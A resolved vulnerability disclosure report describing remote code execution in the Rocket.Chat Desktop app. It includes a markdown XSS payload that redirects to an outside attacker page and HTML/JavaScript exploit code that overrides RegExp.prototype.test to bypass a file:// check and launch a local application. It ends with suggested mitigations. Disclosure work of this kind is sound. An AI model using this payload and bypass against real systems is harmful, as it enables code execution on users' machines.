Remote Code Execution in Rocket.Chat Desktop
High
R
Rocket.Chat
Submitted None
Actions:
Reported by
mattaustin
Vulnerability Details
Technical details and impact analysis
**Summary:** The Markdown parser can be tricked into allowing arbitrary Javascript leading to "remote code execution".
**Description:**
By combining the "link" and inline code block we can trick the parser into breaking out of the current HTML attribute.
This allows us to control other attributes of the tag and trigger javascript events.
```
[ hax ](http://hax//onmouseover=location='https://maustin.net/hax/rocket/hack.html';"`hax`zzz)
```
becomes
```html
<a href="<a href=" http:="" hax="" onmouseover="location='https://maustin.net/hax/rocket/hack.html';""" target="_blank" rel="noopener noreferrer">
```
This is a simple redirect to: https://maustin.net/hax/rocket/hack.html
From this point the goal is to get the application to call shell.openExternal(href); with a URL we control. Thats because:
> "open 'file://localhost/Volumes/Macintosh HD/foo.txt'" opens the document
in the default application for its type (as determined by LaunchSer-
vices).
Note: For this demo I point to file:///Applications/Calculator.app however if you point to a public NFS or SMB server on windows this executable can be controlled by the attacker. (example at: file:///net/192.241.239.91/var/nfs/general/hack2.app)
In https://github.com/RocketChat/Rocket.Chat.Electron/blob/master/src/public/preload.js#L45 all links are hooked and some patter matching is used to check before firing them off to shell.openExternal(href);
Normally preload javascript is an "isolated scope" in this case however the code is directly attached to the user controlled DOM as the "window.onload" handler. This means we can overload some global objects and methods including the RegExp.prototype.test method. Now we can bypass the file:\\/\\/ check send our application path to openExternal.
```html
<!DOCTYPE html>
<html>
<head>
<script>
RegExp.prototype.test = new Proxy(RegExp.prototype.test, {
apply: function(target, thisArg, argumentsList) {
console.log(thisArg.source);
console.log(argumentsList[0]);
if((thisArg.source == '^file:\\/\\/.+') && (argumentsList[0] === 'file:///Applications/Calculator.app')){
return false;
}
return Reflect.apply(target, thisArg, argumentsList)
}
});
setTimeout(()=>{
a = document.createElement("A")
a.href="file:///Applications/Calculator.app"
document.body.appendChild(a)
a.click()
}, 3000);
</script>
</head>
<body>
<h1>3...2...1...🚀</h1>
</body>
</html>
```
## Releases Affected:
* >= 2.9.0
## Steps To Reproduce (from initial installation to vulnerability):
1. Create a new channel to test in.
1. Send the following snippet of markdown:
```
[ hax ](http://hax//onmouseover=location='https://maustin.net/hax/rocket/hack.html';"`hax`zzz)
```
1. Move your mouse over the link you just send and
## Supporting Material/References:
* https://youtu.be/HPlwlc2J-LQ
## Suggested mitigation
* The markdown parser needs a little love to prevent the initial xss.
* I believe you should be able to use something like `window.addEventListener("load",` .. to execute the checks in the proper scope.
Report Details
Additional information and metadata
State
Closed
Substate
Resolved
Submitted
Weakness
Code Injection